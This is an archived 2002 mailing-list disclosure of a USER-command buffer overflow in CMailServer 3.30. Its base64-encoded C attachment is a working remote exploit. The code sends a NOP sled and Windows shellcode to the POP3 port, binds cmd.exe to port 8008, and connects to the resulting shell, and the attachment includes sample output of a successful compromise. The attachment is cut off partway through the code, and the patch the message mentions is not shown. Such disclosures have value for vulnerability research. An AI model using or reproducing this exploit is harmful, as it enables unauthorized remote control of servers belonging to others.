YoungZSoft CMailServer overflow, PATCH + WAREZ!@#!
Date: Tue, 21 May 2002 14:49:54 -0700
From: [email protected]
To: [email protected]
Subject: YoungZSoft CMailServer overflow, PATCH + WAREZ!@#!
Cc: [email protected]
--Hush_boundary-3ceac1024cb46
Content-type: text/plain
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
CMailServer 3.30 uses sprintf() without any previous bounds checking while
testing for the presence of the passed USER argument's home directory within
'mail'..
sprintf(%s\\mail\\%s, CMail path ptr, USER arg ptr)
you know how the story goes, we can overwrite some serious EIP action..
see attached exploit.. a patch has also been included to prevent ownaging
2c79cbe14ac7d0b8472d3f129fa1df55, the original pimp
Hush provide the worlds most secure, easy to use online applications - which solution is right for you?
HushMail Secure Email http://www.hushmail.com/
HushDrive Secure Online Storage http://www.hushmail.com/hushdrive/
Hush Business - security for your Business http://www.hush.com/
Hush Enterprise - Secure Solutions for your Enterprise http://www.hush.com/
Looking for a good deal on a domain name? http://www.hush.com/partners/offers.cgi?id=domainpeople
-----BEGIN PGP SIGNATURE-----
Version: Hush 2.1
Note: This signature can be verified at https://www.hushtools.com
wnUEARECADUFAjzqwbEuHDJjNzljYmUxNGFjN2QwYjg0NzJkM2YxMjlmYTFkZjU1QGh1
c2htYWlsLmNvbQAKCRA2dKC3iMz7vVEnAJ4ojhjPxcBQ2BZGJUExzUgXxz8qMACeNX1n
J1JwD3rVhGZwCz3ESUT+B2g=
=Xrhy
-----END PGP SIGNATURE-----
--Hush_boundary-3ceac1024cb46
Content-type: application/octet-stream; name="cmeexp.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="cmeexp.c"
LyoNCiAgICAgICAgY21lZXhwLmMNCiAgICAgICAgTWF5IDIwLCAyMDAyDQoNCiAgICAgICAgQ01h
aWxTZXJ2ZXIgMy4zMCB1c2VzIHNwcmludGYoKSB3aXRob3V0IGFueSBwcmV2aW91cw0KICAgICAg
ICBib3VuZHMgY2hlY2tpbmcgd2hpbGUgdGVzdGluZyBmb3IgdGhlIHByZXNlbmNlIG9mIHRoZSAN
CiAgICAgICAgcGFzc2VkIFVTRVIgYXJndW1lbnQncyBob21lIGRpcmVjdG9yeSB3aXRoaW4gJ21h
aWwnLi4NCg0KICAgICAgICBzcHJpbnRmKCVzXFxtYWlsXFwlcywgQ01haWwgcGF0aCBwdHIsIFVT
RVIgYXJnIHB0cikNCg0KICAgICAgICB5b3Uga25vdyBob3cgdGhlIHN0b3J5IGdvZXMsIHdlIGNh
biBvdmVyd3JpdGUgc29tZQ0KICAgICAgICBzZXJpb3VzIEVJUCBhY3Rpb24uLg0KDQogICAgICAg
IFVTRVIgPDUxMCBieXRlcz48RUlQPg0KDQogICAgICAgIHRoZSBwYXlsb2FkIGlzIG9uIHRoZSBy
aWdodCBhcyBJIGRpZG4ndCBib3RoZXIgZmluZGluZw0KICAgICAgICBvciBtYWtpbmcgb25lIGZp
dCBvbiB0aGUgbGVmdA0KDQoNCglbeHhAeHh4eCBjbWFpbF0kIC4vY21lZXhwIHRoZS5tYW4NCglD
TWFpbFNlcnZlciAzLjMwIHJlbW90ZSAncm9vdCcgZXhwbG9pdCAoMDUvMjAvMjAwMikNCgkyYzc5
Y2JlMTRhYzdkMGI4NDcyZDNmMTI5ZmExZGY1NUBodXNobWFpbC5jb20NCgkNCgkNCgljb25uZWN0
aW5nLi4uDQoJDQoJY29ubmVjdGVkLi4gc2VuZGluZyBjb2RlDQoJDQoJY29kZSBkdW1wZWQuLg0K
CQ0KCWNvbm5lY3RpbmcgdG8gcG9ydCA4MDA4Li4uDQoJc3VjY2VzcyEgaXpuMHJ3M25lZCENCgkN
CglNaWNyb3NvZnQgV2luZG93cyAyMDAwIFtWZXJzaW9uIDUuMDAuMjE5NV0NCgkoQykgQ29weXJp
Z2h0IDE5ODUtMjAwMCBNaWNyb3NvZnQgQ29ycC4NCgkNCglFOlxQcm9ncmFtIEZpbGVzXENNYWls
U2VydmVyPmRhdGUNCglUaGUgY3VycmVudCBkYXRlIGlzOiBNb24gMjAvMDUvMjAwMiANCglFbnRl
ciB0aGUgbmV3IGRhdGU6IChkZC1tbS15eSkNCg0KKi8NCg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQoj
aW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lz
L3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxhcnBhL2luZXQu
aD4NCiNpbmNsdWRlIDxuZXRkYi5oPg0KI2luY2x1ZGUgPHN5cy9lcnJuby5oPg0KDQovKiBXaW4y
ayBTUDIgKyBhbGwgaG90Zml4ZXMgdXAgdW50aWwgTWF5IDIwdGggKi8NCi8qIHlvdSd2ZSBnb3Qg
b25lIHNob3QgYXQgdGhpcyBhcyBjbWFpbCBpcyAgICAqLw0KLyogZ29pbmcgZG93biBpZiB5b3Ug
bWlzcy4uICAgICAgICAgICAgICAgICAgICovDQoNCi8qIHRoaXMgaXMgdGhlIG1vc3QgY29uc2lz
dGFudCBFSVAgaGl0IG9uIG15ICAqLw0KLyogdGVzdCBtYWNoaW5lIGFsdGhvdWdoIGZyZXNobHkg
Ym9vdGVkIHNoZSAgICovDQovKiB0ZW5kZWQgdG8gYmUgIlx4NmRceGE3XHhkYlx4MDIiCSAgICAg
ICovDQoNCi8qIHRyeSBpbiBvZmZzZXRzIG9mIDB4MTAwMDAwIGlmIHlvdSBtdXN0Li4gICAqLw0K
DQojZGVmaW5lIEVJUCAiXHg2ZFx4YTdceDBlXHgwMyINCg0KLyogZXZlcnl0aGluZyBhbGwgcm9s
bGVkIGludG8gb25lLi4gYmluZCdzIGNtZC5leGUgICovDQovKiB0byBwb3J0IDgwMDguLiB0aGlz
IGlzIGEgbW9kaWZpZWQgdmVyc2lvbiBvZiB0aGUgKi8NCi8qIHNoZWxsY29kZSBjcmVhdGVkIGJ5
IHxaYW4ncyBleGNlbGxlbnQgZ2VuZXJhdG9yICAqLw0KDQpjaGFyIHNoZWxsW10gPQ0KIlx4NTVc
eDUzXHg0NVx4NTJceDIwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0K
Ilx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
Ig0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4OTBc
eDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0KIlx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwIg0K
Ilx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
Ig0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBc
eDkwIg0KIlx4OTBceDkwXHg4M1x4ZWVceDdmXHg4M1x4ZWVceDdmXHg4M1x4ZWVceDdmXHg4M1x4
ZWVceDdmIg0KIlx4ODNceGVlXHg3Zlx4ODNceGVlXHg3Zlx4ODNceGVlXHg3Zlx4ODNceGVlXHg3
Zlx4ODNceGVlIg0KIlx4N2ZceDgzXHhlZVx4NGNceGZmXHhkNiJFSVAiXHg1NVx4OGJceGVjXHg2
OFx4NWVceDU2XHhjMyINCiJceDkwXHg1NFx4NTlceGZmXHhkMVx4NThceDMzXHhjOVx4YjFceDFj
XHg5MFx4OTBceDkwXHg5MCINCiJceDAzXHhmMVx4NTZceDVmXHgzM1x4YzlceDY2XHhiOVx4OTVc
eDA0XHg5MFx4OTBceDkwXHhhYyINCiJceDM0XHgxM1x4YWFceGUyXHhmYVx4ZmJceDEzXHgxM1x4
MTNceDEzXHg0ZVx4OTJceGZlXHhjYSINCiJceDMyXHg1M1x4MTNceDllXHhhNlx4ZTFceDM3XHg1
M1x4MTNceDllXHhhZVx4ZTlceDM3XHg1MyINCiJceDEzXHg3OVx4MTRceDgzXHg4M1x4ODNceDgz
XHg0YVx4ZmJceGMxXHgxMVx4MTNceDEzXHg5ZSINCiJceGE2XHgzOVx4MzZceDUzXHgxM1x4OWVc
eGFlXHgyMFx4MzZceDUzXHgxM1x4NzlceDE5XHg4MyINCiJceDgzXHg4M1x4ODNceDRhXHhmYlx4
YTlceDExXHgxM1x4MTNceDc5XHgxM1x4OWVceGE2XHhjYSINCiJceDM2XHg1M1x4MTNceDQ1XHg5
ZVx4YTZceGY2XHgzNlx4NTNceDEzXHg0NVx4OWVceGE2XHhmYSINCiJceDM2XHg1M1x4MTNceDQ1
XHhlY1x4ODZceDIwXHgzNlx4NTNceDEzXHg3OVx4MTNceDllXHhhNiINCiJceGNhXHgzNlx4NTNc
eDEzXHg0NVx4OWVceGE2XHhmZVx4MzZceDUzXHgxM1x4NDVceDllXHhhNiINCiJceGUyXHgzNlx4
NTNceDEzXHg0NVx4ZWNceDg2XHgyMFx4MzZceDUzXHgxM1x4ZDRceDk2XHhlNiINCiJceDM2XHg1
M1x4MTNceDU3XHgxM1x4MTNceDEzXHg5ZVx4YTZceGU2XHgzNlx4NTNceDEzXHg0NSINCiJceGVj
XHg4Nlx4MjRceDM2XHg1M1x4MTNceDllXHhhNlx4M2VceDM1XHg1M1x4MTNceGJlXHg0MyINCiJc
eGVjXHg4Nlx4NDBceDM2XHg1M1x4MTNceDllXHhhNlx4MjJceDM1XHg1M1x4MTNceGJlXHg0MyIN
CiJceGVjXHg4Nlx4NDBceDM2XHg1M1x4MTNceDllXHhhNlx4ZTJceDM2XHg1M1x4MTNceDllXHhh
ZSINCiJceDNlXHgzNVx4NTNceDEzXHhiNlx4OWVceGE2XHhmNlx4MzZceDUzXHgxM1x4YmVceDll
XHhhZSINCiJceDIyXHgzNVx4NTNceDEzXHhiOFx4OWVceGFlXHgyNlx4MzVceDUzXHgxM1x4Yjhc
eGQ0XHg5NiINCiJceDM2XHgzNVx4NTNceDEzXHgxM1x4MTNceDEzXHgxM1x4ZDRceDk2XHgzMlx4
MzVceDUzXHgxMyINCiJceDEyXHgxMlx4MTNceDEzXHg5ZVx4YTZceDJhXHgzNVx4NTNceDEzXHg0
NVx4OWVceGE2XHhlNiINCiJceDM2XHg1M1x4MTNceDQ1XHg3OVx4MTNceDc5XHgxM1x4NzlceDAz
XHg3OVx4MTJceDc5XHgxMyINCiJceDc5XHgxM1x4OWVceGE2XHg1YVx4MzVceDUzXHgxM1x4NDVc
eDc5XHgxM1x4ZWNceDg2XHgyOCINCiJceDM2XHg1M1x4MTNceDdiXHgxM1x4MzNceDEzXHgxM1x4
ODNceDdiXHgxM1x4MTFceDEzXHgxMyINCiJceGVjXHg4Nlx4NTBceDM2XHg1M1x4MTNceDlhXHg5
Nlx4NDJceDM1XHg1M1x4MTNceDIwXHhkMyINCiJceDQzXHg1M1x4NDNceDUzXHg0M1x4ZWNceDg2
XHhlOVx4MzdceDUzXHgxM1x4NDNceDQ4XHg3OSINCiJceDAzXHg5ZVx4YTZceGRhXHgzNlx4NTNc
eDEzXHg0NVx4NDBceGVjXHg4Nlx4ZWRceDM3XHg1MyINCiJceDEzXHg3OVx4MTBceDQwXHhlY1x4
ODZceDExXHgzNlx4NTNceDEzXHg5ZVx4YTZceDQ2XHgzNSINCiJceDUzXHgxM1x4NDVceDllXHhh
Nlx4ZGFceDM2XHg1M1x4MTNceDQ1XHg0MFx4ZWNceDg2XHgxNSINCiJceDM2XHg1M1x4MTNceDll
XHhhZVx4NGFceDM1XHg1M1x4MTNceGI4XHgyMFx4ZDNceDQzXHg5ZSINCiJceGFlXHg3Nlx4MzVc
eDUzXHgxM1x4NDRceDQzXHg0M1x4NDNceDllXHhhNlx4ZmFceDM2XHg1MyINCiJceDEzXHhiZVx4
NDNceGVjXHg4Nlx4MmNceDM2XHg1M1x4MTNceDc5XHgyM1x4ZWNceDg2XHg1YyINCiJceDM2XHg1
M1x4MTNceGY4XHg1ZVx4ODNceDgzXHg4M1x4MjBceGQzXHg0M1x4OWVceGFlXHg3NiINCiJceDM1
XHg1M1x4MTNceDQ0XHg0M1x4NDNceDQzXHg5ZVx4YTZceGZhXHgzNlx4NTNceDEzXHhiZSINCiJc
eDQzXHhlY1x4ODZceDJjXHgzNlx4NTNceDEzXHg3OVx4NDNceGVjXHg4Nlx4NWNceDM2XHg1MyIN
CiJceDEzXHg5MFx4YWVceDc2XHgzNVx4NTNceDEzXHgxMVx4MWNceDkxXHgwNFx4MTJceDEzXHgx
MyINCiJceDkyXHhhZVx4NzZceDM1XHg1M1x4MTNceDEyXHgzM1x4MTNceDEzXHg2MVx4MWRceDgz
XHg4MyINCiJceDgzXHg4M1x4ZDRceDk2XHg3Nlx4MzVceDUzXHgxM1x4MTNceDMzXHgxM1x4MTNc
eDc5XHgxMyINCiJceDk4XHg5Nlx4NzZceDM1XHg1M1x4MTNceDllXHhhZVx4NzZceDM1XHg1M1x4
MTNceDQ0XHg0MyINCiJceDk4XHg5Nlx4NDJceDM1XHg1M1x4MTNceDQzXHg5ZVx4YTZceGZhXHgz
Nlx4NTNceDEzXHhiZSINCiJceDQzXHhlY1x4ODZceDU0XHgzNlx4NTNceDEzXHg3OVx4NDNceGVj
XHg4Nlx4NWNceDM2XHg1MyINCiJceDEzXHg5OFx4OTZceDc2XHgzNVx4NTNceDEzXHg3OVx4MTNc
eDQzXHg5ZVx4YTZceDQyXHgzNSINCiJceDUzXHgxM1x4YmVceDQzXHg5ZVx4YTZceDRhXHgzNVx4
NTNceDEzXHhiZVx4NDNceGVjXHg4NiINCiJceDE5XHgzNlx4NTNceDEzXHg3OVx4MTNceDllXHhh
ZVx4NzZceDM1XHg1M1x4MTNceDQ0XHg3OSINCiJceDEzXHg3OVx4MTNceDc5XHgxM1x4OWVceGE2
XHhmYVx4MzZceDUzXHgxM1x4YmVceDQzXHhlYyINCiJceDg2XHgyY1x4MzZceDUzXHgxM1x4Nzlc
eDQzXHhlY1x4ODZceDVjXHgzNlx4NTNceDEzXHgyMCINCiJceGRhXHgyYVx4OWVceDc2XHgzNVx4
NTNceDEzXHgxY1x4OTRceDc0XHhlY1x4ZWNceGVjXHg3OSINCiJceDEzXHg3Ylx4MTNceDMzXHgx
M1x4MTNceDgzXHg5ZVx4YTZceDQyXHgzNVx4NTNceDEzXHhiZSINCiJceDQzXHg5ZVx4YTZceDRh
XHgzNVx4NTNceDEzXHhiZVx4NDNceGVjXHg4Nlx4MWRceDM2XHg1MyINCiJceDEzXHg5YVx4OTZc
eDcyXHgzNVx4NTNceDEzXHg3OVx4MTNceDllXHhhZVx4NzZceDM1XHg1MyINCiJceDEzXHg0NFx4
NDNceDllXHhhNlx4NDJceDM1XHg1M1x4MTNceGJlXHg0M1x4OWVceGE2XHhmZSINCiJceDM2XHg1
M1x4MTNceGJlXHg0M1x4ZWNceDg2XHg1OFx4MzZceDUzXHgxM1x4NzlceDQzXHhlYyINCiJceDg2
XHg1Y1x4MzZceDUzXHgxM1x4NzlceDEzXHg5OFx4OTZceDcyXHgzNVx4NTNceDEzXHg5ZSINCiJc
eGFlXHg3Nlx4MzVceDUzXHgxM1x4NDRceDQzXHg5OFx4OTZceDQyXHgzNVx4NTNceDEzXHg0MyIN
CiJceDllXHhhNlx4ZmFceDM2XHg1M1x4MTNceGJlXHg0M1x4ZWNceDg2XHg1NFx4MzZceDUzXHgx
MyINCiJceDc5XHg0M1x4ZWNceDg2XHg1Y1x4MzZceDUzXHgxM1x4ZmFceGFhXHhlZFx4ZWNceGVj
XHg5ZSINCiJceGE2XHg0YVx4MzVceDUzXHgxM1x4YmVceDQzXHhlY1x4ODZceDAxXHgzNlx4NTNc
eDEzXHg5ZSINCiJceGE2XHg0ZVx4MzVceDUzXHgxM1x4YmVceDQzXHhlY1x4ODZceDAxXHgzNlx4
NTNceDEzXHg3OSINCiJceDEzXHhlY1x4ODZceDQ0XHgzNlx4NTNceDEzXHg0Mlx4NDVceDdiXHhk
M1x4ZjFceDU2XHgxMyINCiJceDgzXHg0OVx4ZWNceDAxXHg0M1x4NDhceDRhXHg0NFx4NGRceDQy
XHg0NVx4NDBceDdiXHhkNyINCiJceGYxXHg1Nlx4MTNceDgzXHg0OVx4ZWNceDAxXHg0M1x4YmZc
eDk3XHhkM1x4NjZceGU4XHg0YiINCiJceGI4XHg0YVx4ZjFceGZhXHhkMFx4NDRceDQwXHg1Y1x4
NTBceDU4XHgyMFx4MjFceDEzXHg2MCINCiJceDdjXHg3MFx4NzhceDc2XHg2N1x4MTNceDcxXHg3
YVx4N2RceDc3XHgxM1x4N2ZceDdhXHg2MCINCiJceDY3XHg3Nlx4N2RceDEzXHg3Mlx4NzBceDcw
XHg3Nlx4NjNceDY3XHgxM1x4NjBceDc2XHg3ZCINCiJceDc3XHgxM1x4NjFceDc2XHg3MFx4NjVc
eDEzXHg3MFx4N2ZceDdjXHg2MFx4NzZceDYwXHg3YyINCiJceDcwXHg3OFx4NzZceDY3XHgxM1x4
NThceDU2XHg0MVx4NWRceDU2XHg1Zlx4MjBceDIxXHgxMyINCiJceDUwXHg2MVx4NzZceDcyXHg2
N1x4NzZceDQzXHg3YVx4NjNceDc2XHgxM1x4NTRceDc2XHg2NyINCiJceDQwXHg2N1x4NzJceDYx
XHg2N1x4NjZceDYzXHg1YVx4N2RceDc1XHg3Y1x4NTJceDEzXHg1MCINCiJceDYxXHg3Nlx4NzJc
eDY3XHg3Nlx4NDNceDYxXHg3Y1x4NzBceDc2XHg2MFx4NjBceDUyXHgxMyINCiJceDQzXHg3Nlx4
NzZceDc4XHg1ZFx4NzJceDdlXHg3Nlx4NzdceDQzXHg3YVx4NjNceDc2XHgxMyINCiJceDU0XHg3
Zlx4N2NceDcxXHg3Mlx4N2ZceDUyXHg3Zlx4N2ZceDdjXHg3MFx4MTNceDQxXHg3NiINCiJceDcy
XHg3N1x4NTVceDdhXHg3Zlx4NzZceDEzXHg0NFx4NjFceDdhXHg2N1x4NzZceDU1XHg3YSINCiJc
eDdmXHg3Nlx4MTNceDQwXHg3Zlx4NzZceDc2XHg2M1x4MTNceDUwXHg3Zlx4N2NceDYwXHg3NiIN
CiJceDViXHg3Mlx4N2RceDc3XHg3Zlx4NzZceDEzXHg1Nlx4NmJceDdhXHg2N1x4NDNceDYxXHg3
YyINCiJceDcwXHg3Nlx4NjBceDYwXHgxM1x4NTBceDdjXHg3N1x4NzZceDc3XHgzM1x4NzFceDZh
XHgzMyINCiJceDZmXHg0OVx4NzJceDdkXHgzM1x4MmZceDdhXHg2OVx4NzJceDdkXHg1M1x4Nzdc
eDc2XHg3NiINCiJceDYzXHg2OVx4N2NceDdkXHg3Nlx4M2RceDdjXHg2MVx4NzRceDJkXHgxMVx4
MTNceDBjXHg1YiINCiJceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgx
M1x4MTNceDFmXHgxMyINCiJceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEyXHgxM1x4MTNceDEz
XHgxM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNc
eDEzXHgxM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgxM1x4
MTNceDEzXHgxM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgx
M1x4MTNceDEzXHgxM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEz
XHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNc
eDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4MTNceDEzXHgxM1x4
MTNceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4MTNceDEzXHgx
M1x4MTNceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDUwXHg1ZSINCiJceDU3XHgzZFx4NTZceDRi
XHg1Nlx4MTNceDEzXHgxM1x4MTNceDEzXHgwM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4MTNc
eDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgxM1x4MTNceDEzXHgxMyINCiJceDEzXHgxM1x4
MWFceDFhXHgxYVx4MWFceDFhXHg5MFx4OTBceDkwXHgwZFx4MGEiOw0KDQptYWluKGNoYXIgYXJn
YywgY2hhciAqKmFyZ3Ypew0KICAgICAgICBpbnQgZmQ7DQogICAgICAgIGludCBidWZzaXplID0g
MTAyNDsNCiAgICAgICAgaW50IGJ1ZmZlciA9IG1hbGxvYyhidWZzaXplKTsNCiAgICAgICAgc3Ry
dWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICAgICAgc3RydWN0IGhvc3RlbnQgKmhlOw0KICAgICAg
ICBzdHJ1Y3QgaW5fYWRkciBpbjsNCg0KICAgICAgICBwcmludGYoIkNNYWlsU2VydmVyIDMuMzAg
cmVtb3RlICdyb290JyBleHBsb2l0ICgwNS8yMC8yMDAyKVxuIik7DQogICAgICAgIHByaW50Zigi
MmM3OWNiZTE0YWM3ZDBiODQ3MmQzZjEyOWZhMWRmNTVAaHVzaG1haWwuY29tXG5cblxuIik7DQoN
CiAgICAgICAgaWYgKGFyZ2MgPCAyKXsNCiAgICAgICAgICAgICAgICBwcmludGYoIlVzYWdlOiA8
aG9zdG5hbWU+XG4iKTsNCiAgICAgICAgICAgICAgICBleGl0KC0xKTsNCiAgICAgICAgfQ0KDQog
ICAgICAgIGlmKChmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1Ap
KSA8IDApe3BlcnJvcigic29ja2V0IGVycm9yIik7ZXhpdCgtMSk7fQ0KDQogICAgICAgIGlmICgo
aGUgPSBnZXRob3N0YnluYW1lKGFyZ3ZbMV0pKSAhPSBOVUxMKXttZW1jcHkgKCZpbiwgaGUtPmhf
YWRkciwgaGUtPmhfbGVuZ3RoKTt9DQogICAgICAgIGVsc2UNCiAgICAgICAgaWYgKChpbmV0X2F0
b24oYXJndlsxXSwgJmluKSkgPCAwKXtwcmludGYoInVuYWJsZSB0byByZXNvbHZlIGhvc3QiKTtl
eGl0KC0xKTt9DQoNCiAgICAgICAgc2luLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0KICAgICAgICBz
aW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGluZXRfbnRvYShpbikpOw0KICAgICAgICBz
aW4uc2luX3BvcnQgPSBodG9ucygxMTApOw0KIA0KICAgICAgICBwcmludGYoImNvbm5lY3Rpbmcu
Li5cbiIpOw0KICAgICAgICBpZihjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopJnNpbiwg
c2l6ZW9mKHNpbikpIDwgMCl7cGVycm9yKCJjb25uZWN0aW9uIGVycm9yIik7ZXhpdCgtMSk7fQ0K
IA0KICAgICAgICBwcmludGYoIlxuY29ubmVjdGVkLi4gc2VuZGluZyBjb2RlXG5cbiIpOw0KICAg
ICAgICBpZih3cml0ZShmZCwgc2hlbGwsIHN0cmxlbihzaGVsbCkpIDwgc3RybGVuKHNoZWxsKSl7
cGVycm9yKCJ3cml0ZSBlcnJvciIpO2V4aXQoLTEpO30NCiAgICAgICAgcHJpbnRmKCJjb2RlIGR1
bXBlZC4uXG5cbiIpOw0KDQogICAgICAgIGNsb3NlKGZkKTsNCg0KICAgICAgICBpZigoZmQgPSBz
b2NrZXQoQUZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPCAwKXtwZXJyb3IoInNv
Y2tldCBlcnJvciIpO2V4aXQoLTEpO30NCg0KICAgICAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lO
RVQ7DQogICAgICAgIHNpbi5zaW5fYWRkci5zX2FkZHIgPSBpbmV0X2FkZHIoYXJndlsxXSk7DQog
ICAgICAgIHNpbi5zaW5fcG9ydCA9IGh0b25zKDgwMDgpOw0KDQogICAgICAgIHByaW50ZigiY29u
bmVjdGluZyB0byB0Y3AgcG9ydCA4MDA4Li4uXG4iKTsNCiAgICAgICAgc2xlZXAoMSk7DQogICAg
ICAgIGlmKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikmc2luLCBzaXplb2Yoc2luKSkg
PCAwKXtwcmludGYoImV4cGxvaXQgZmFpbGVkLi4gYWRqdXN0IEVJUD9cblxuIik7ZXhpdCgtMSk7
fQ0KICAgICAgICBwcmludGYoInN1Y2Nlc3MhIGl6bjBydzNuZWQhXG5cbiIpOw0KDQogICAgICAg
IHdoaWxlKDEpIHsNCiAgICAgICAgICAgICAgICBmZF9zZXQgaW5wdXQ7DQoNCiAgICAgICAgICAg
ICAgICBGRF9TRVQoMCwmaW5wdXQpOw0KICAgICAgICAgICAgICAgIEZEX1NFVChmZCwmaW5wdXQp
Ow0KICAgICAgICAgICAgICAgIGlmKChzZWxlY3QoZmQrMSwmaW5wdXQsTlVMTCxOVUxMLE5VTEwp
